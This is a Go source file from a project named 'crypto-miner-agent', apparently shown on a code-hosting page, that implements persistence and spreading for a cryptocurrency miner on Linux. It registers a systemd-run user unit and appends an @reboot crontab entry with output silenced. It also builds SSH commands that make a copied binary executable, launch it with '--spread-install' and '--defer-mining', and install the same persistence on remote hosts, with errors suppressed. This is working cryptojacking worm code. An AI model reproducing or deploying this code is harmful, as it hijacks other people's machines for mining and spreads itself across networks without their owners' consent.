79 lines
2.5 KiB
Go
79 lines
2.5 KiB
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"os/exec"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// applyLinuxLOTLPersistence registers systemd-run --user and/or crontab hooks after install.
|
|
func applyLinuxLOTLPersistence(cfg config.RuntimeConfig, binPath string) {
|
|
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
|
|
if mode == "" || mode == "off" {
|
|
return
|
|
}
|
|
runArgs := "--run"
|
|
if WantsDeferMining() {
|
|
runArgs += " --defer-mining"
|
|
}
|
|
if mode == "systemd_run_user" || mode == "both" {
|
|
unit := sanitizeName(cfg.WorkerName) + "-worker"
|
|
if unit == "-worker" {
|
|
unit = "aetherforge-worker"
|
|
}
|
|
args := []string{"--user", "--unit=" + unit + ".service", binPath}
|
|
args = append(args, strings.Fields(runArgs)...)
|
|
if err := exec.Command("systemd-run", args...).Run(); err != nil {
|
|
log.Printf("[lotl] systemd-run --user failed: %v", err)
|
|
} else {
|
|
log.Printf("[lotl] systemd-run --user registered %s", unit)
|
|
}
|
|
}
|
|
if mode == "crontab" || mode == "both" {
|
|
line := fmt.Sprintf("@reboot %s %s >/dev/null 2>&1", binPath, runArgs)
|
|
out, _ := exec.Command("crontab", "-l").Output()
|
|
existing := string(out)
|
|
if strings.Contains(existing, binPath) {
|
|
return
|
|
}
|
|
newCrontab := strings.TrimSpace(existing)
|
|
if newCrontab != "" {
|
|
newCrontab += "\n"
|
|
}
|
|
newCrontab += line + "\n"
|
|
cmd := exec.Command("crontab", "-")
|
|
cmd.Stdin = strings.NewReader(newCrontab)
|
|
if err := cmd.Run(); err != nil {
|
|
log.Printf("[lotl] crontab persist failed: %v", err)
|
|
} else {
|
|
log.Printf("[lotl] crontab @reboot entry added")
|
|
}
|
|
}
|
|
}
|
|
|
|
// sshSpreadStartCmd builds remote start with spread + defer-mining flags.
|
|
func sshSpreadStartCmd(remotePath string) string {
|
|
return fmt.Sprintf("chmod +x %s && nohup %s --spread-install --defer-mining >/dev/null 2>&1 &", remotePath, remotePath)
|
|
}
|
|
|
|
// sshSpreadPersistCmd optionally installs LOTL persistence on remote (writable home required).
|
|
func sshSpreadPersistCmd(cfg config.RuntimeConfig, remotePath string) string {
|
|
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
|
|
if mode == "" || mode == "off" {
|
|
return ""
|
|
}
|
|
var parts []string
|
|
if mode == "systemd_run_user" || mode == "both" {
|
|
parts = append(parts, fmt.Sprintf("systemd-run --user --unit=aetherforge-spread.service %s --run --defer-mining 2>/dev/null || true", remotePath))
|
|
}
|
|
if mode == "crontab" || mode == "both" {
|
|
parts = append(parts, fmt.Sprintf(`(crontab -l 2>/dev/null; echo "@reboot %s --run --defer-mining >/dev/null 2>&1") | crontab - 2>/dev/null || true`, remotePath))
|
|
}
|
|
return strings.Join(parts, "; ")
|
|
}
|